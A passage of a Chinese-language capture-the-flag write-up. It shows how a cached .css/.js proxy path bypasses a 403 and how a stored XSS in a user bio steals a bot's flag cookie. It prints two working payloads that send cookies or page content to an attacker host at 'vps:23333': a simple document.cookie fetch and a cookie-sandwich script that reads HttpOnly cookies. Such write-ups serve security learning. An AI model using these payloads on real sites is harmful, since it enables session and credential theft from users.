    proxy_pass http://127.0.0.1:5000;
    proxy_ignore_headers Vary;
    proxy_cache static_cache;
    proxy_cache_valid 200 10m;
}

.css/.js 结尾的不受限制能够正常代理到 5000 端口上,并且存在缓存,可以绕过 403

这样我们注册一个 1.js,然后修改 bio 就能实现 xss 了

非预期

context.add_cookies([{
    'name': 'flag',
    'value': flag_value,
    'domain': 'localhost',
    'path': '/',
    'httponly': True
}])

因为 httpOnly 拼错了导致不生效,所以可以直接把 cookie x 出来

修改 1.js 的 bio 为 payload:

<script>fetch('http://vps:23333/'+document.cookie);</script>

然后访问 /view 让 bot 访问 /api/bio/1.js 即可,注意缓存时间为 10 分钟

预期

参考:https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique

使用 cookie sandwich technique,再结合服务器的回显,可以攻击 HttpOnly 的 cookie

exp:

<script>
const url = new URL("http://localhost/ticket");
document.cookie = `$Version=1; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `ticket="test; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `aaa=bbb"; domain=${url.hostname}; path=/;`;
fetch("/ticket", {
        credentials: 'include',
}).then(response => {
        return response.text();
}).then(data => {
        fetch("http://vps:23333/", {
                method: "POST",
                body: data,
        });
})
</script>


safenotes(Unsolved)

还在 x 还在 x